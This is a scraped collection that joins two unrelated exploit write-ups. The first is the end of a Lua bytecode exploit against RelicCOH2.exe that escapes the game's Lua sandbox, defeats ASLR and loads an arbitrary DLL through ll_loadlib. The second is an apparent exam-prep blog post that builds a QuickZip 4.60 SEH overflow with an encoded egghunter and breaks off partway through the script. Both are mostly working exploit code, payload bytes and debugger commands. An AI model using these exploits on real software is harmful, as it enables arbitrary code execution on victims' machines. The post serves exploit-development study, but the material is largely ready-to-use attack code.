... low part of stack ...| `f`| `11`| `22`| `g`| `33`| `h`| `44`| `55`  
---|---|---|---|---|---|---|---|---  
ambient frame|  
|  |  `f`'s frame|   
|  |  `g`'s frame|   
|  |  `h`'s frame  
A function's call frame includes its parameters and local variables, and the
function and parameters of anything that it directly calls \(as it has to be
able to set up the call within its frame\). Frames are represented by the
`CallInfo` structure:

[code]

    struct CallInfo {
      TValue* base;
      TValue* func;
      TValue* top;
      const Instruction *savedpc;
      /* ... more fields ... (not of interest) */
    };
    
[/code]

The `base` and `top` fields specify the range of the stack that the above
diagram calls a frame. The `func` field points one to the left of `base` \(the
empty boxes to the left of frames in the above diagram\), and specifies which
function is being called. The final field of interest, `savedpc`, specifies
the location in the function's bytecode to return to when reactivating the
call frame - in most cases this will be an instruction immediately following
an `OP_CALL` instruction.

Switching between call frames is interesting, and is done by the following
code in the Lua virtual machine:

[code]

    void luaV_execute (lua_State *L, int nexeccalls) {
      LClosure *cl;
      TValue *base;
      TValue *k;
      const Instruction *pc;
     reentry:  /* entry point */
      lua_assert(L->ci->func->tt == LUA_TFUNCTION && !(clvalue(L->ci->func)->l.isC));
      pc = L->savedpc;
      cl = &clvalue(L->ci->func)->l;
      base = L->base;
      k = cl->p->k;
      /* main loop of interpreter */
      for (;;) {
        const Instruction i = *pc++;
        /* ... debugging stuff ... (not of interest) */
        switch (GET_OPCODE(i)) {
          /* ... various other opcodes (some of which use cl and k) ... */
          case OP_CALL: {
            int b = GETARG_B(i);
            int nresults = GETARG_C(i) - 1;
            if (b != 0) L->top = ra+b;  /* else previous instruction set top */
            L->savedpc = pc;
            switch (luaD_precall(L, ra, nresults)) {
              case PCRLUA: {
                nexeccalls++;
                goto reentry;  /* restart luaV_execute over new Lua function */
              }
              /* ... other cases ... (not of interest) */
            }
          }
          case OP_RETURN: {
            int b = GETARG_B(i);
            if (b != 0) L->top = ra+b-1;
            if (L->openupval) luaF_close(L, base);
            L->savedpc = pc;
            b = luaD_poscall(L, ra); /* pos is a shortening of post, as in pre-call and post-call */
            if (--nexeccalls == 0)  /* was previous function running `here'? */
              return;  /* no: return */
            else {  /* yes: continue its execution */
              if (b) L->top = L->ci->top;
              lua_assert(GET_OPCODE(*((L->ci)->savedpc - 1)) == OP_CALL);
              goto reentry;
            }
          }
        }
      }
    }
    
[/code]

Of particular note is that `OP_RETURN` ends with `goto reentry`, and
`reentry:` is followed by a complex assertion which checks that the
`CallInfo`'s `func` field points to a `TValue` containing an `LClosure`.
However, `lua_assert` is turned off by default, and very few people turn it
on. In our case, assertions are indeed turned off, so the complex assertion
doesn't actually run, and the `TValue` is unconditionally treated as
containing an `LClosure*`.

At this point, the astute reader will recognise the familiarity with
`OP_FORLOOP`, and will recall that we compared the memory layout of `LClosure`
and `TString`. Given this, it should be obvious where we're going.

* * *
The next instruction of interest is `OP_CLOSURE`, which creates a `TValue`
containing an `LClosure`, and initialises its `UpVal`s. The implementation of
this instruction is as follows:

[code]

    case OP_CLOSURE:
      Proto *p;
      Closure *ncl;
      int nup, j;
      p = cl->p->p[GETARG_Bx(i)];
      nup = p->nups;
      ncl = luaF_newLclosure(L, nup, cl->env);
      ncl->l.p = p;
      for (j=0; j<nup; j++, pc++) {
        if (GET_OPCODE(*pc) == OP_GETUPVAL)
          ncl->l.upvals[j] = cl->upvals[GETARG_B(*pc)];
        else {
          lua_assert(GET_OPCODE(*pc) == OP_MOVE);
          ncl->l.upvals[j] = luaF_findupval(L, base + GETARG_B(*pc));
        }
      }
      setclvalue(L, ra, ncl);
      Protect(luaC_checkGC(L));
    
[/code]

In the cases we're interested in, an `OP_CLOSURE` instruction is followed by
one dummy `OP_MOVE` instruction for each upvalue, which collectively specify
which `TValue`s of the current call frame should be pointed to by the
closure's `UpVal` structures. In generated bytecode, the specified `TValue`s
can only be parameters or local variables of the current call frame, but when
writing bytecode manually, the specified `TValue`s can be any members of the
current call frame.

In particular, when writing bytecode manually we can point `UpVal`s at the
same stack slots that the next call frame's `CallInfo::func` field points to.
The following example gives a simple case of this, where `print(magic)`
doesn't print `nil`:

[code]

    loadstring(string.dump(function()
      local magic = nil
      local function middle()
        print(magic) --> function: 0051639
      end
      middle()
    end):gsub("(\100%z%z%z)....", "%1\0\0\0\1"))()
    
[/code]

As a more interesting example, we can change the `TValue` pointed to by the
`UpVal`, and then return to the call frame whose `CallInfo::func` pointed at
the same `TValue`:

[code]

    loadstring(string.dump(function()
      local magic = nil
      local function middle()
        local function inner()
          magic = inner
          return "print", "World"
        end
        inner()
        print("Hello") --> World
      end
      middle()
    end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))()
    
[/code]

The above example is somewhat intricate: because of `magic = inner`, after the
call to `inner`, `luaV_execute`'s `cl` variable is set back to `inner` rather
than `middle`, so `print("Hello")` actually prints `World`.

* * *
The first interesting application of the above technique is to create
arbitrary `TValue`s. For this, we need to recall `asnum` from earlier, and we
also need a helper function for converting numbers to strings:

[code]

    asnum = loadstring((string.dump(function(x)
      for i = x, x, 0 do
        return i
      end
    end):gsub("\96%z%z\128", "\22\0\0\128")))
    
    ub4 = function(x) -- Convert little endian uint32_t to char[4]
      local b0 = x % 256; x = (x - b0) / 256
      local b1 = x % 256; x = (x - b1) / 256
      local b2 = x % 256; x = (x - b2) / 256
      local b3 = x % 256
      return string.char(b0, b1, b2, b3)
    end
    
[/code]

The astute reader will note that `ub4` can be rewritten to work even when
`string.char` is not present \(the actual exploit code for RelicCOH2.exe
implements `ub4` by using a lookup table to convert the individual bytes to
strings of length 1, and then concatenating the strings\).

With these functions in place, consider the following:

[code]

    loadstring(string.dump(function()
      local magic = nil
      local function middle()
        local print = print
        local lud, upval
        local function inner()
          lud = 2^52 .. ub4(0xDEADBEEF) .."high".. ub4(2) .."padd"
          upval = 2^52 .."next".."t".."m".."pa".. ub4(asnum(lud) - 2^52 + 16 + 20)
          local upval_ptr = ub4(asnum(upval) - 2^52 + 16 + 20)
          magic = upval_ptr .. upval_ptr
        end
        inner()
        print(magic) --> userdata: DEADBEEF
      end
      middle()
    end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))()
    
[/code]

The first interesting assignment in the above is to the `lud` variable.
Ignoring the `2^52 ..` for a moment, the remainder is a 128 bit string which
can be interpreted as a `TValue`: four bytes containing a pointer to
`0xDEADBEEF`, four unused bytes, four bytes for a `tt` value of
`LUA_TLIGHTUSERDATA`, and four bytes of padding. The next interesting
assignment is to the `upval` variable. Again ignoring the `2^52 ..`, the
remainder can be interpreted as an `UpVal`: four bytes for `next`, one byte
each for `tt` and `marked`, two bytes of padding, and then four bytes of
`TValue*`. The final interesting assignment to to the `magic` variable, which
is a `TString` with an 8-byte payload, and will later be reinterpreted as an
`LClosure`. As we've previously seen by comparing the memory layouts, the
first four bytes become a `Proto*`, and the next four bytes become an
`UpVal*`.

At this point, the remaining tricks of the `inner` function are the numeric
constants `2^52`, `16`, and `20`. The result of a string concatenation is a
`TValue` containing a `TString*`, but this `TValue` has the interesting
property that the 32 unused bits following the `TString*` are copied from the
leftmost operand of the concatenation. As such, when the leftmost operand in a
concatenation is `2^52`, the resulting `TValue` can go through `asnum` and
then have `2^52` subtracted to yield the `TString*`. The next value, `16` is
the size of all of the fields in a `TString` prior to the actual string data.
The final value, `20`, is the length of the string `4.5035996273705e+015`,
with this being the string representation of `2^52`.

* * *
Before the final reveal, two functions of interest are needed:

[code]

    f2ii = function(x) -- Convert double to uint32_t[2]
      if x == 0 then return 0, 0 end
      if x < 0 then x = -x end
    
      local e_lo, e_hi, e, m = -1075, 1023
      while true do -- this loop is math.frexp
        e = (e_lo + e_hi)
        e = (e - (e % 2)) / 2
        m = x / 2^e
        if m < 0.5 then e_hi = e elseif 1 <= m then e_lo = e else break end
      end
    
      if e+1023 <= 1 then
        m = m * 2^(e+1074)
        e = 0
      else
        m = (m - 0.5) * 2^53
        e = e + 1022
      end
    
      local lo = m % 2^32
      m = (m - lo) / 2^32
      local hi = m + e * 2^20
      return lo, hi
    end
    
    ii2f = function(lo, hi) -- Convert uint32_t[2] to double
      local m = hi % 2^20
      local e = (hi - m) / 2^20
      m = m * 2^32 + lo
    
      if e ~= 0 then
        m = m + 2^52
      else
        e = 1
      end
      return m * 2^(e-1075)
    end
    
[/code]

The role of `f2ii` is to take a number \(say the result of `asnum`\), and
return two integers in range `[0, 2^32)`, which are obtained by reinterpreting
the 8 bytes of the original `double` as two `uint32_t`s. This particular
implementation of `f2ii` ignores the sign bit of the original `double`, so the
second return value is always in the range `[0,2^31)`, but this doesn't matter
for our purposes. This particular implementation of `f2ii` also fails for
inputs which are `NaN` or positive or negative infinity, but again this is
acceptable for our purposes. The `ii2f` function performs the inverse of
`f2ii`.

The interested reader should consult the IEEE754-1985 specification of
floating point numbers to gain an appreciation of why these functions work.
Alternatively, `ii2f` and `f2ii` can be compared to `reader` and `writer` in
the implementation of vstruct.

* * *
The final structure of interest is `CClosure`, which is similar to an
`LClosure`, but represents an instance of a C function rather than a Lua
function:

[code]

    struct CClosure {
      GCObject *next;
      lu_byte tt; /* == LUA_TFUNCTION */
      lu_byte marked;
      lu_byte isC; /* == 1 */
      lu_byte nupvalues;
      GCObject *gclist;
      struct Table *env;
      int (*f)(lua_State*);
      TValue upvalue[nupvalues]; /* variably sized */
    };
    
[/code]

The interesting observation is that this structure contains a function
pointer, and said function pointer is called when Lua code calls the function
represented by the `CClosure`. If we want to execute arbitrary code, then we
could adapt the previous example to construct a `CClosure`, and then call it
rather than print it. Unfortunately, reality is cold and harsh: DEP means that
we we can only execute code in memory pages which are marked as executable,
and ASLR means that we don't know where those pages are. The normal method for
defeating DEP is to call code which is already present in the executable, and
in the case of RelicCOH2.exe, the executable contains a function called
`ll_loadlib`, which is the C function that gets called when Lua code calls
`package.loadlib` \(the purpose of this function being to load arbitrary
DLLs\). That solves the DEP problem, but it leaves the ASLR problem: we have
no idea where `ll_loadlib` is in memory.

One approach for defeating ASLR is to inspect the function pointer in an
existing `CClosure` object. In our case, while the Lua sandbox we're playing
in doesn't have `package.loadlib`, it does have `coroutine.wrap`, and
`coroutine.wrap` creates a `CClosure` whose function pointer is set to
`luaB_auxwrap`. Following on from the previous example, consider the
following:

[code]

    loadstring(string.dump(function()
      local magic = nil
      local function middle()
        local print, asnum, f2ii = print, asnum, f2ii
        local co, upval
        local function inner()
          do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end
          co = coroutine.wrap(function() end)
          upval = 2^52 .."next".."t".."m".."pa".. ub4(asnum(co) - 2^52 + 12)
          local upval_ptr = ub4(asnum(upval) - 2^52 + 16 + 20)
          magic = upval_ptr .. upval_ptr
        end
        inner()
        print(f2ii(asnum(magic))) --> 7906440, 1396459600
      end
      middle()
    end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))()
    
[/code]

In this example, we call `coroutine.wrap` in order to create a `CClosure`, and
then print out the `env` and `f` fields of the `CClosure`. The line prior to
the assignment to `co` sprays the stack with the value `2^52` to ensure that
we can do the usual `asnum(co) - 2^52` trick. For pulling out the `f` field,
we cannot use the `2^52` trick, as the `f` field is followed by 4 bytes of
padding whose value is indeterminate. Instead, we create an `UpVal` whose
`TValue*` is the address of the `env` field, and use `f2ii`/`asnum` to read
two 32-bit values. Note that we could set the `TValue*` to the address of `f`,
but this would increase the liklihood of `f2ii` receiving a NaN or an infinity
as input, which it cannot handle.

By disassembly, we can learn that in RelicCOH2.exe, `luaB_auxwrap` and
`ll_loadlib` are 39984 bytes apart. This leads to the following code for
defeating ASLR:

[code]

    loadstring(string.dump(function()
      local magic = nil
      local function middle()
        local print, asnum, f2ii = print, asnum, f2ii
        local co, upval
        local function inner()
          do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end
          co = coroutine.wrap(function() end)
          upval = 2^52 .."next".."t".."m".."pa".. ub4(asnum(co) - 2^52 + 12)
          local upval_ptr = ub4(asnum(upval) - 2^52 + 16 + 20)
          magic = upval_ptr .. upval_ptr
        end
        local dll_name = "my_dll.dll"
        local function_name = "entry_point"
        local delta = 39984 -- this offset is only valid for RelicCOH2.exe; it will lead to a crash in most other programs
        inner()
        local env, f = f2ii(asnum(magic))
        f = f + delta
        magic = ii2f(env, f)
        co(dll_name, function_name) -- calls ll_loadlib
      end
      middle()
    end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1))()
    
[/code]

# QuickZip 4.60 - Win7 X64 SEH Overflow \(Egghunter\) With Custom Encoder -
Knapsy’s brain dump

**Created:**| _5/7/2017 10:18:24 AM_  
---|---  
**Updated:**| _5/7/2017 10:18:24 AM_  
**Author:**| __  
**Tags:**| _seh poc_  
  

  

# QuickZip 4.60 - Win7 X64 SEH Overflow \(Egghunter\) With Custom Encoder

9:31 pm | Comments
As a part of my preparations for the OSCE exam, I have been trying to find
some interesting exploits and PoC code to practice my skills on and learn
something new in the exploit development department.

After some digging, I stumbled across a QuickZip v4.60 Buffer Overflow
exploit, which is very well documented by corelanc0d3r in a thorough blog post
here.

Since the exploit itself is from 2010, it was designed to work on 32-bit
Windows XP only. I decided to try and see if I can recreate it on a 64-bit
Windows 7 and damn, was that a \(fun\) challenge\!

## PoC

To get started, I grabbed the QuickZip v4.60 Windows XP exploit from exploit-
db and cut it down to create a simple PoC triggering a crash.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    
[/code]

|

[code]

    #!/usr/bin/python
    header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00")
    header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    print "[+] Building PoC.."
    max_size = 4064
    payload = "A" * max_size
    payload += ".txt"
    print "[+] Length = " + str(len(payload))
    exploit = header_1 + payload + header_2 + payload + header_3
    mefile = open('cst.zip','w');
    mefile.write(exploit);
    mefile.close()
    print "[+] Exploit complete!"
    
[/code]  
---|---  
The above code creates a ZIP of a single file named 4064 A’s followed by a
“.txt” extension. `Header_1`, `header_2` and `header_3` are the headers
required by the ZIP file structure. I won’t go into the details of it, but you
can read more about it on here.

If you open the created ZIP file in QuickZip and try to extract its contents
\(or just double-click on the filename\), the QuickZip will crash.

## Understanding the crash

Ok, let’s run the PoC and see what actually happens.

Create the ZIP file using Python script above, open it up with QuickZip, start
`ImmunityDebugger`, attach to the QuickZip process and, in QuickZip, double
click on the filename to trigger the crash. **Note:** we will be repeating
this process over, and over, and over again, so get used to it\!

<img src='img/Temp2_6606.png' width='576' height='252' alt='image' />

Awesome, we triggered a crash as expected. Also, we got an exception - see the
bottom of the screen _“Access violation when writing to \[00190000\]”_. What
this means is that we were trying to write to an invalid memory address and we
triggered an exception.

Let’s investigate the SEH chain.

<img src='img/Temp2_6598.png' width='501' height='159' alt='image' />

Great, it appears that we’re able to control nSEH pointer\! Looks very
promising. Let’s try to figure out the offsets.

## Offsets

As always, I’m going to be using `mona` \(https://github.com/corelan/mona\) to
help us out with a lot of tasks here.

First, let’s generate a pattern of **4064** unique characters and put it in
the payload of our PoC exploit:

[code]

    1
    
[/code]

|

[code]

    !mona pc 4064
[/code]  
---|---  
Let’s trigger the crash again and see what happens.

<img src='img/Temp2_6605.png' width='576' height='253' alt='image' />

Hmm, the crash looks a bit different. The problem here is that `LEAVE`
instruction tries to jump back to `0EEDFADE` address from the stack, which is
an invalid memory address for this program.

Also, it doesn’t appear that we’re controlling the SEH anymore.

<img src='img/Temp2_6613.png' width='467' height='333' alt='image' />

However, notice that we’re actually in a kernel module \(see the name of the
Immunity window - _“CPU - main thread, module KERNELBA”_\). Pass the execution
back to the program with `SHIFT + F9` and see if we trigger another exception,
but in the QuickZip module.

<img src='img/Temp2_6601.png' width='576' height='253' alt='image' />

<img src='img/Temp2_6596.png' width='456' height='147' alt='image' />

Awesome, looks like we’re back in business\!

Use the following command to let mona calculate all of the offsets:

[code]

    1
    
[/code]

|

[code]

    !mona findmsp
[/code]  
---|---  
<img src='img/Temp2_6609.png' width='576' height='415' alt='image' />

At this stage, the most interesting offset for us is `nSEH field: offset 292`.

Let’s update the PoC with offsets information and try to trigger the crash
again.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    
[/code]

|

[code]

    #!/usr/bin/python
    header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00")
    header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    print "[+] Building PoC.."
    max_size = 4064
    nseh_offset = 292
    payload = "A" * nseh_offset     # padding for nSEH
    payload += "BBBB"               # nSEH
    payload += "CCCC"               # SEH
    payload += "A" * (max_size - len(payload))   # padding for the rest of payload
    payload += ".txt"
    print "[+] Length = " + str(len(payload))
    exploit = header_1 + payload + header_2 + payload + header_3
    mefile = open('cst.zip','w');
    mefile.write(exploit);
    mefile.close()
    print "[+] Exploit complete!"
    
[/code]  
---|---  
<img src='img/Temp2_6611.png' width='461' height='154' alt='image' />

Great, we have control of the SEH\! Let’s pass exception to the program
\(`SHIFT + F9`\) and investigate further what happens.

<img src='img/Temp2_6604.png' width='576' height='253' alt='image' />

Of course another exception triggered, since `43434343` is an invalid memory
address for this program, but let’s see what happens on the stack - typically
for SEH overflows, we’ll need invoke a set of _POP-POP-RET_ instructions to
return to our buffer.

It’ll be easy to find such instructions with `mona`, but first, we have to
know what characters are we actually allowed to use. And that’s where the
problems start…

## Badchars

Well, in summary, it’s most of them. Why? Because our overflow is on the
filename parameter and filenames are quite restricted - generally ASCII
printable characters only.

Since it would take way too long to actually manually go through it with mona
and try to find all bad chars, I just assumed that I can only use pretty much
entire ASCII table \(characters up to 0x7F\) except `0x00`, `0x0a` and `0x0d`
\(`NULL` byte, new line and carriage-return respectively\).

This assumption may make it more difficult than it really is \(since I may be
avoiding characters that are actually OK to use\) or may cause me even more
problems later if some of the characters from my assumed range are, in fact,
incorrect.

I don’t really like making assumptions like this, but for the sake of this
exercise, let’s make an exception.

I will just need to remember to be careful and if something doesn’t work, to
double check bad chars once again. A bit risky, but well, bring it on\!

## POP-POP-RET

Let’s find an exploit-friendly address of a _POP-POP-RET_ instructions with
mona:

[code]

    1
    
[/code]

|

[code]

    !mona seh
[/code]  
---|---  
<img src='img/Temp2_6600.png' width='576' height='253' alt='image' />

A lot of results are found \(7909\!\), but the highlighted result looks
promising - consists of all aphanumerical characters and is located in the
`QuickZip.exe` binary itself, hopefully making it more cross-platform friendly
as we don’t need to rely on specific operating system DLLs.

The only problem here is the `0x00` byte, however, because of the address
space of the program, every address starts with `0x00`… let’s try and see if
it’ll actually break our exploit.

Update the PoC exploit replacing `CCCC` currently representing SEH with
`\x33\x28\x42\x00`, trigger the crash once again and investigate SEH chain.

<img src='img/Temp2_6608.png' width='464' height='170' alt='image' />

Great, looks like our address wasn’t scrambled and looks like we expected it
to look. Set the breakpoint at it \(`F2`\) and press `SHIFT + F9` to pass the
control to the program.

<img src='img/Temp2_6597.png' width='576' height='414' alt='image' />

As you can see, we’re redirected to _POP-POP-RET_ instructions, let’s step
through them with `F8` and stop after `RETN 4` instruction.

<img src='img/Temp2_6607.png' width='576' height='415' alt='image' />

Awesome, we have landed back in our payload… but there’s a problem. Because of
the `NULL` byte, everything after SEH chain got cut off, not leaving us much
space to do anything at all.

## Where did the shellcode go?\!

OK, let’s analyse the situation and see where are we at.

We get our crash and we control SEH, great\! The problem is that we’re limited
to a very restricted set of characters to use with our payload and, because we
had to use address with `NULL` byte to invoke _POP-POP-RET_ instructions,
signifcant portion of our payload got cut off and the remaining space for our
shellcode is not very big at all.

But how big is it exactly? Remember that we still have the padding we used at
the beginning of our payload to get to SEH:

<img src='img/Temp2_6599.png' width='576' height='414' alt='image' />

So how much space do we have? Exactly **292** bytes. Unfortunately it is not
enough for any useful shellcode that would also need to be encoded to only
contain ASCII printable characters.

This sounds like something that could be potentially solved with an
egghunter\!

**Egghunter** is simply a bunch of instructions that look for a specific,
known sequence of bytes \(an “egg”\) in the memory space of the program and,
once it’s found, redirects exection to that area.

This way, we don’t really need to worry where our shellcode ends up, we can
just call egghunter routine and it’ll find it for us\!

Sounds great, but the next question is, does the ‘cut off’ portion of the
payload actually ends up anywhere in the memory? Let’s find out.

Let’s generate pattern of **3764** unique characters \(to fill in our payload
after the `NULL` byte\) and replace existing A’s with it.

[code]

    1
    
[/code]

|

[code]

    !mona pc 3764
[/code]  
---|---  
Let’s trigger the crash and, as we get our first exception, do not pass the
exception to the program, but instead invoke the following command to search
for the previously generated pattern in memory:

[code]

    1
    
[/code]

|

[code]

    !mona findmsp
[/code]  
---|---  
<img src='img/Temp2_6595.png' width='576' height='265' alt='image' />

Fantastic\! The entire ‘cut off’ portion of the payload is still in the
memory, so we should be able to successfully use the egghunter to get to our
shellcode.

## Egghunter

So now we know that we should be able to use an egghunter to get to our
shellcode, but we only have **292** bytes at our disposal. We can actually do
quite a lot with 292 bytes, however, we need to remember that we can only use
very limited character set.

Let’s try to encode the egghunter with metasploit’s `x86/alpha_mixed` encoder
and see how much space we’ll have left after this.

Firstly, let’s generate egghunter payload. Remember that we’re dealing with
64-bit OS, so we need to use appropriate egghunter routine as well \(a lot
more detailed information on it can be found on
https://www.corelan.be/index.php/2011/11/18/wow64-egghunter/\):

[code]

    1
    
[/code]

|

[code]

    !mona egghunter -wow64
[/code]  
---|---  
Copy the generated bytes into a text file and convert it into a binary file
using `xxd`:

[code]

    1
    2
    3
    
[/code]

|

[code]

    # cat egghunter-wow64.txt 
    31db53535353b3c06681caff0f42526a265833c98bd464ff135e5a3c0574e9b8773030748bfaaf75e4af75e1ffe7
    # cat egghunter-wow64.txt | xxd -r -p > egghunter-wow64.bin
[/code]  
---|---  
Now, we need to use an encoder to ensure only ASCII printable characters are
actually used.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    
[/code]

|

[code]

    # msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
    [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
    buf = 
    "\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +
    "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30" +
    "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42" +
    "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b" +
    "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36" +
    "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a" +
    "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74" +
    "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44" +
    "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b" +
    "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51" +
    "\x6b\x4f\x79\x77\x41\x41"
[/code]  
---|---  
_Note:_ I have used `bufferedregister=eax` option. The reason being is that
the encoder needs to find where it is in the memory to be able to carry on
with decoding the payload. Originally, the routines responsible for doing this
are not in the ASCII printable set and therefore would be breaking our
payload.

Specifying `bufferregister` option basically tells the encoder not to worry
about finding its own place in memory as we’ll do it beforehand and we’ll put
its address in the EAX register. This way, our encoded egghunter is purely
ASCII characters only \(more information on generating alphanumeric shellcode
can be found here\).

Let’s update our PoC exploit to reflect what we have done so far.

[code]

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    
[/code]

|

[code]

    #!/usr/bin/python
    header_1 = ("\x50\x4B\x03\x04\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00")
    header_2 = ("\x50\x4B\x01\x02\x14\x00\x14\x00\x00\x00\x00\x00\xB7\xAC\xCE\x34\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe4\x0f\x00\x00\x00\x00\x00\x00\x01\x00"
    "\x24\x00\x00\x00\x00\x00\x00\x00")
    header_3 = ("\x50\x4B\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00"
    "\x12\x10\x00\x00\x02\x10\x00\x00\x00\x00")
    print "[+] Building PoC.."
    max_size = 4064
    nseh_offset = 292
    # msfencode -e x86/alpha_mixed bufferregister=eax -i egghunter-wow64.bin
    # [*] x86/alpha_mixed succeeded with size 146 (iteration=1)
    egghunter = ("\x50\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49"
    "\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30\x41\x30"
    "\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42\x42"
    "\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x66\x51\x49\x4b"
    "\x52\x73\x53\x63\x62\x73\x36\x33\x4e\x53\x6f\x30\x75\x36"
    "\x6d\x51\x59\x5a\x49\x6f\x36\x6f\x72\x62\x71\x42\x42\x4a"
    "\x66\x46\x56\x38\x74\x73\x78\x49\x4c\x4b\x4b\x64\x61\x74"
    "\x49\x6f\x47\x63\x31\x4e\x50\x5a\x77\x4c\x77\x75\x53\x44"
    "\x49\x79\x38\x38\x52\x57\x36\x50\x50\x30\x33\x44\x6c\x4b"
    "\x59\x6a\x4e\x4f\x32\x55\x38\x64\x4e\x4f\x70\x75\x6b\x51"
    "\x6b\x4f\x79\x77\x41\x41")
    payload = egghunter
    payload += "A" * (nseh_offset - len(payload))   # padding for nSEH
    payload += "BBBB"                               # nSEH
    payload += "\x33\x28\x42\x00"                   # SEH
